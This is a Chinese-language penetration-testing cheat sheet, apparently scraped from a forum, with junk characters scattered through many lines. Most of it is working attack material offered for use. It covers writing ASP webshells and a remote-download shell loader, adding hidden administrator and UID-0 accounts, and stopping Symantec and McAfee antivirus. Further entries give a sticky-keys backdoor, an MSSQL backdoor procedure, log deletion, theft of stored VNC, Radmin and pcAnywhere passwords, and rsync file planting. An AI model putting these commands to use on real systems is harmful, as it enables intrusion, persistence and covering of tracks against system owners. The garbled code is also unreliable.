渗透技巧总结

admin

旁站路径问题
1、读网站配置。
( K1 n$ d; V) Y2 e5 e/ _2、用以下VBS
) s0 z" Q! ?. ^6 ZOn Error Resume Next
4 ]- e3 G3 b: r$ dIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
6 ]2 e! Q" ?" F3 n1 S7 s" t, l        

( a3 F4 P' k  Z8 @9 S8 XMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
! Z3 I& d5 n, s
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
: s: ~$ U; E' y5 h* |. G5 u9 o
7 s: A- e7 D3 q/ G- Y* k("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
! q- f9 N+ v9 I9 v7 H        If IsNumeric(obj3w.Name)
$ a9 ^8 {" j5 K- L0 L
- J( ~3 _/ |& ?& Y, _2 D3 HThen
1 m" L! {& ?: u$ N                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

+ J9 d1 M8 x! s2 a/ j<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
9 R" `2 x& J/ D5 r                For Each Binds In OService.ServerBindings
" D& d& \% y: O, G% _9 M     
0 @+ G: Z- k( N4 d+ J
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

! R! ]+ N  h3 H9 [5 k2 ~% E4 ~WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
( U; ~% d5 u3 @* z* r1 E; O* o) x, ]                Next
- X( ]7 w* R% S' g. D      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
5 d# P% {4 j1 J5 d1 U) y复制代码
& Y2 [/ a  }' }; B" R) u8 G# u9 f0 U3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
7 q' I9 Y1 Y# z3 ~1 [7 H" z$ ~4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
# A# X! G  p. r% G1 g& }: bWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
' j% R: q0 y* V! Qurl/wp-content/plugins/akismet/hello.php
——————————————————————
8 i: M! E7 I! n# }phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
5 ?# {7 y' D* W2 V& _) uphpmyadmin/themes/darkblue_orange/layout.inc.php
5 D/ k* O; J2 ^, D————————————————————
网站可能目录(注：一般是虚拟主机类）
* {& B) A/ J5 D1 p! |data/htdocs.网站/网站/
: R! Q! w/ q" p6 L————————————————————
1 q1 r0 h$ N) G' s$ HCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
5 l+ G- j  S0 Mnetsh ras ip show config #查看VPN分配IP的方式
! u9 k4 t; u8 enetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
1 u3 `/ ^& a  E9 w————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
& Z  v$ {7 @. c7 y4 cEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

' w8 m% _1 p1 X9 \1 G; }另类的加用户方法
4 @9 u- u3 n8 g( }在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
( o! b' X( R" o6 m+ Y1 ]6 ljs:
) J1 Y5 J; X1 a) \* U) |var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
" y# `) g, ^/ V/ Z: p, S7 D7 iz.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
+ ^6 ?5 Z" X& y% Y- o9 t9 ]5 Dz.changePassword "123456",""
z.setting("AccountType")=3
2 I) j% h- Z# H' o# s' [! I——————————————————
9 e/ C& p0 D$ o6 K. kcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
% s; Q7 Y  a8 q" L
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
  t5 _, B, j& }! S* M& G7 n5 ra、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
. K$ `& `' H+ w, f$ s8 P& qb、内网环境（LCX）
c、终端服务器超出了最大允许连接
- h0 z/ a' n6 f9 AXP 运行mstsc /admin
2003 运行mstsc /console   
  b- V* v$ @$ ?2 s
杀软关闭（把杀软所在的文件的所有权限去掉）
4 N1 R' |+ N. y9 y处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
4 M: x0 e. O& O+ W; C6 Znet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
. Y2 I& ~7 a6 Y1 A- nnet stop "Symantec Settings Manager" /y
1 Z6 ~8 v# G% t# L
) Q4 j" U) P7 c卖咖啡：net stop "McAfee McShield"
————————————————————
! X5 r1 p/ b) c- ~( Q& s/ p
+ `9 p4 Z* ]- C, A% W) J  c5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
+ c" R) c. g8 ~: j" Q% }) ^copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
' y( \6 g3 p) |( d+ {: F" i4 zcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
7 j- v  |, }; @* H7 p" t——————————————————————
# B8 v7 \; o/ o. r隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
! ~: H1 x' z9 H; L/ q* O7 s# S3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
% C! v# I% `- }" K4、利用Hacker Defender把相关用户注册表隐藏
6 i% q! [% y" o' E- _2 B7 t. [——————————————————————
MSSQL扩展后门：
USE master;
/ a, y5 y' L4 f" j, b, U' tEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
1 }3 s$ z+ M$ q6 RGRANT exec On xp_helpsystem TO public;
* l# J+ x& D" L' ]0 Y% j———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
: c) P0 s; u7 }直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
6 `  H4 s9 i; M& ?/ r! I& q用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

  [6 @6 U+ c! F. nMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
: \4 K$ J5 T* X( C9 j8 e( @找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
* e' h1 q% r  D! X+ L
* q7 o# O' X* f" `% \6 jServer\90\Tools\Shell\mru.dat
—————————————————————————
' A  ?9 P: J# \% A! l' m防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 }* k( R5 a+ l; F5 }& J3 B6 `2 u/ ^
" q; v3 j  D5 g+ \7 J9 p<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
. D1 M6 G) V2 R9 I6 N% b* t8 bDim Ads, Retrieval, GetRemoteData
On Error Resume Next
, r8 S0 s1 Q) Z5 k0 d2 S4 Z9 tSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
2 J3 A/ ^# [& RSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
  }! |+ M, q8 UWith Ads
1 |/ X  R, c1 e4 G6 S/ l.Type = 1
3 {( B8 m/ c( H$ R* j+ p( H.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
) ]' p6 F) H! O& M& _5 R0 _: A: dSet Ads=nothing
5 @. \1 o9 O% p# S3 O8 ^( wEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
& L+ E+ f& B; x! A! s- o%>
# k1 w, [( k  l2 [7 N
7 b6 m2 c% u5 G) S6 ?( AVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
9 J! ?3 V0 O  X0 o. a, c- {注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
0 o" i# w) n5 ]" G: v0 Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
: ]- O- T/ m& T$ @" T( s然后用HASH版连接。
+ l. s$ o" G5 ^% @0 n如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
) E6 \4 X6 C0 l, w  U9 R' b- h3 ]& \Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
3 X4 `5 {+ g, r搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
  ?2 r: t, ^5 J——————————————————----------
( ~5 L, z9 R' T9 GWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
4 H& _, \1 A) _$ y/ e  Z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
0 D  ?0 V8 L6 ~. Q没有删cmd组建的直接加用户。
% K  O( f! P4 Z! m) n3 B7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
  U' L/ C: Z. J8 N1 N<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
1 a+ \. Z, g+ G. ]5 R  ostrSQLDBPassword = "数据库密码"
4 j8 [9 I. h; P4 E* s" JstrSQLDBName = "数据库名称"
4 W, H9 _3 M" x% s% }, L/ m4 gSet conn = Server.createObject("ADODB.Connection")
4 C0 n/ ^) b% S' `, AstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

' O( c- a* d" V/ [; g& v+ F";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
! f% _* c$ }4 E1 G2 a" a
strSQLDBName & ";"
6 G) V; v: j" e8 r, J* [0 _1 o# X0 R- ^conn.open strCon
5 k3 ?! o( J  i. U& Z2 W# a2 rdim rs,strSQL,id
, Z$ j7 ]/ J# A& G& K7 m$ Oset rs=server.createobject("ADODB.recordset")
- L' b* O# @/ H- D7 hid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
: ?0 [" [6 l! V; j: _( [" d. x9 Rrs.close
%>
4 q# K# G' \; [) i" s! S' b- g' `) T复制代码
******liunx 相关******
一.ldap渗透技巧
4 _5 I- }$ R2 I" U* W1.cat /etc/nsswitch
2 d% Y; _1 N7 D看看密码登录策略我们可以看到使用了file ldap模式

5 G. Y0 z! x1 X: ^* g& e0 }2.less /etc/ldap.conf
  i5 Q) q3 u# H: Q: ^base ou=People,dc=unix-center,dc=net
  w* w9 w+ n- G# t* ]' j) F* s找到ou,dc,dc设置

3.查找管理员信息
匿名方式
* F, B, X" P9 q8 ]. b( Bldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 m2 S9 m- G" g8 u
  S* l* u  z% m# i/ g) V$ D"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 V# U; t) K* t1 N有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


2 Q  A( a. p& z6 y6 f1 N1 i4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ E6 ]! X$ E4 R# {3 J$ j- D3 ~
实战:
, t1 ^# a, C; V- S/ j5 z1.cat /etc/nsswitch
& s0 H- {# k& z看看密码登录策略我们可以看到使用了file ldap模式
: V, |  d( h. |; Y
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
2 q% c  v4 A0 v
3.查找管理员信息
9 [0 N* g( M- x% B5 v* a* b: C  J匿名方式
$ i2 q4 a2 l) u$ f+ ~ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# i8 g/ w* J! U  H; X8 B
% N" g9 ^) ^( u/ H, Y* c& b  N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 p, V0 b) q+ L& j/ a5 S9 o有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

. P) r2 Z! X0 L( L# n6 n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
& {8 O+ F- Q0 L) d5 X! wldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

1 l: J# n6 X: B7 K" I. s6 w渗透实战:
1.返回所有的属性
! i. _6 m5 h0 ildapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
8 H1 U8 v0 T) R+ `* K8 Jdc: ruc
" X% }+ X, y; T/ V" xobjectClass: domain
% ^. G! g6 e% A
dn: uid=manager,dc=ruc,dc=edu,dc=cn
# T9 Z6 x( ?7 d. L9 d  H( x' yuid: manager
( f5 X; ^9 D. O1 n9 n3 qobjectClass: inetOrgPerson
objectClass: organizationalPerson
1 C- I$ n. \6 U" t  `2 ^objectClass: person
objectClass: top
6 N- x: w. X! l/ f1 z. e5 e) Ysn: manager
cn: manager
, X7 E$ [- i% C4 B9 B" [. M
2 c$ k$ W0 L/ L* Ddn: uid=superadmin,dc=ruc,dc=edu,dc=cn
5 h$ ?- z. I, t! k( Yuid: superadmin
! s$ k( D& W1 f- k3 g+ D$ o% ]5 NobjectClass: inetOrgPerson
objectClass: organizationalPerson
9 T0 w3 ~$ P5 T2 D- Z1 ZobjectClass: person
objectClass: top
sn: superadmin
- U+ k* x% w$ C. {, F3 Jcn: superadmin
8 H9 l) e4 j$ ^& m
9 b' K5 M  j: t: r) `+ e, Ddn: uid=admin,dc=ruc,dc=edu,dc=cn
5 D% X/ |' |& s4 S9 b0 d* fuid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
' l/ C2 n3 i% |7 R$ b" c; }objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
: _, k" t/ }4 O$ C+ tobjectClass: person
' L% `# r2 e& L" e/ L* @objectClass: organizationalPerson
* ^# c9 F1 g) ^3 ?8 v. SobjectClass: inetOrgPerson
sn: dcp_anonymous
, V3 A7 t9 f7 W. o8 O5 dcn: dcp_anonymous
) e* r9 f* z% C5 G+ Z! O2 Z
2.查看基类
7 A. C: O+ H/ b1 {bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

1 v; {# ^& A, w' t% V, U, {more
4 r. ^* }! |1 z9 B* C, Vversion: 1
dn: dc=ruc,dc=edu,dc=cn
2 `2 \* u% p( M, L1 cdc: ruc
objectClass: domain

3.查找
" \) k# s; H6 z( V2 Hbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
3 K9 R/ I% O' x6 D) Bdn:
objectClass: top
2 \& `# c" n! `$ k% knamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
! Y1 {$ L7 C- k5 \6 osupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
) R# u9 [, M1 `, jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
; H. q2 V$ L# N$ d9 p1 \supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
1 d2 }! [) F4 qsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
; ~; }/ I- _8 {' O, E# ?( CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 ]" J8 N% ~, |  c- j1 L; MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( X- j5 e( }# ?8 k' |- ^' Y- HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
+ i1 R% j5 }4 I6 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
0 M; X6 @6 K6 x; z; ?. LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
5 k8 O3 |' f$ Y' vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
3 u& y% R0 v$ S3 h4 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
& A# N, q2 o4 `! o/ q7 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
. D& [2 y+ ^4 |& u3 w! S9 g/ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
4 L7 B+ C, R: m$ P3 d( ]5 u9 e! QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
2 j, R4 w" E: }" q4 d) n$ LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
. g& c) W6 i+ zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
/ C+ D7 ~! o, I. k* r( |8 A1 w9 XsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
# r9 t$ @4 G0 F1 n7 nsupportedControl: 2.16.840.1.113730.3.4.2
. f3 H: S2 {  S- ^supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
1 y0 w: j% P, K( \% r3 \supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
$ U/ B2 W4 ~. u+ d8 D( usupportedControl: 2.16.840.1.113730.3.4.17
! {) E1 j' f$ O7 r' C$ P. IsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
, |, s+ p+ }) P* e0 @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
; k" U6 F. v0 Z7 V4 ]3 M2 _, E8 HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
5 k# m* J, Q# \supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' D0 I( I; ^- T: ?! Y& [& `supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
. R$ ^2 @; a8 U5 l% RsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
- ~, s4 g, a/ x$ m3 ksupportedLDAPVersion: 3
0 g/ ?/ _" F- d2 f( Z. cvendorName: Sun Microsystems, Inc.
- s4 o6 y% `# V4 G3 h* F6 \vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
! t% x2 d* k& X7 D" Unetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
3 ?4 `7 ]; q" C# UsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
" B! m9 n* Z) T0 Q8 J0 R3 `supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
7 L7 F! {( ~8 a) z: `2 G- SsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
7 B% e' x" I2 [& y+ ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
1 g! H5 `# c7 a1 U( P* QsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
4 `' f  j' {0 ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
' x1 a2 x" A7 [supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
8 `  z6 k! l& I8 y$ l( w+ AsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
. M( @5 V8 R0 I1 K, C; _3 isupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
7 O& V8 a4 t7 DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
) ^3 A7 H/ V  v% y5 ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
# M9 W/ {5 c5 n; ?  Q+ PsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
$ ~5 O0 {. p" G' M  RsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
( Z* z6 q. c& t+ m& P! k- qsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
) t0 H. P" _0 G9 T& |supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
# j8 l7 T; d& m: R5 NsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
7 [/ y! ^) x! L! _supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
: ~. O& {5 N1 [' a( i. }2 nsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
* j( j( x0 ]* S" r# A  XsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
! n# P2 n+ K1 N+ H/ _. e1 R! JsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
9 B" ?4 @) E! O# tsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
' J! i' l  }# Q! g% `" c' A————————————
0 f! P/ z0 w4 N! w: T2 o2. NFS渗透技巧
showmount -e ip
列举IP
" t% }+ M/ `+ L7 u1 Y——————
3.rsync渗透技巧
9 y5 E+ e* l8 _1.查看rsync服务器上的列表
  f' r" y0 B9 }$ krsync 210.51.X.X::
' A! c$ }7 _* B% I# J. Ufinance
img_finance
auto
, T6 f# m$ A, C9 v, J. m; t8 zimg_auto
) f0 B7 i/ ^% Y( ohtml_cms
img_cms
  u& {0 x2 @; Q5 [( x: d" E/ J+ Ient_cms
0 I% }1 W2 V. ^( |, uent_img
ceshi
res_img
res_img_c2
chip
2 p1 s# r4 e1 H' h( `chip_c2
) S+ e" z% v& D* \ent_icms
games
gamesimg
5 z1 a# g6 }' n! C# a, _4 ?, r* g# P7 gmedia
mediaimg
$ G3 j) k- V1 |$ [" v. V+ @0 {2 ~- ~fashion
3 u8 X6 b8 Z! G& S6 k4 yres-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
0 M* w/ k1 B' z, D% j( u9 |res-edu
res-ent
) a2 A, v8 F& ^4 G: b" C1 U; Nres-labs
res-news
res-phtv
res-media
$ [" l: Z- W, z# [home
edu
0 w& u* B1 F  l! g4 ?0 G( t5 `$ `news
* ^/ z8 N* T. d# B+ T) B/ Sres-book
0 U9 }& I% Q/ ?
看相应的下级目录(注意一定要在目录后面添加上/)
" e& x; k/ T$ A7 c  j0 ]

+ N5 p; x! r4 w! ?/ a3 Lrsync 210.51.X.X::htdocs_app/
" a) ]2 m! g2 F4 ?' V! xrsync 210.51.X.X::auto/
  i( t9 T1 N4 K8 N5 }7 l- D4 nrsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 B0 l* a/ V, Q0 P6 x5 z, u3.向上更新rsync文件(成功上传,不会覆盖)
  l. K* }0 B+ e( L0 r  Arsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  R6 U" q6 W- P+ ]; ?. Lhttp://app.finance.xxx.com/warn/nothack.txt
* h- }# V8 u3 c2 V; s& y
四.squid渗透技巧
nc -vv baidu.com 80
, T2 g, x/ O7 ?* o% ~( F; H  U4 uGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
; M/ }1 R6 l3 m2 g五.SSH端口转发
" m2 e) g9 ~7 I( _% f+ s  xssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
! l  ~0 b% u& W3 A5 q; e" m( |
六.joomla渗透小技巧
. n% {# d4 z0 {( _9 M0 \确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
3 k% L  L8 |8 \5 }# T6 k4 E% r
9 D6 W& J" X* J" h. w; m5 f+ C15&catid=32:languages&Itemid=47
# Y! \" v8 s) [! Q; n$ w
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
. s5 ]' |& x! N4 j6 W3 \
4 @+ T2 n: ~: q1 |0 B) t4 [* C% O2 |七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

0 M2 S( w/ F; X0 P) S' E2 @八.freebsd本地提权
[argp@julius ~]$ uname -rsi
6 n  ^0 ^* c- F# `1 `4 |# V) s4 b0 R* freebsd 7.3-RELEASE GENERIC
% ]) ~4 @) N5 H0 m9 f$ S" W5 b* [argp@julius ~]$ sysctl vfs.usermount
( Y1 |4 r- p6 h& H: {7 x+ e1 @/ d* vfs.usermount: 1
; F& ~9 O- B* f# ^2 w: Y* [argp@julius ~]$ id
$ d. O" f# ?( D* uid=1001(argp) gid=1001(argp) groups=1001(argp)
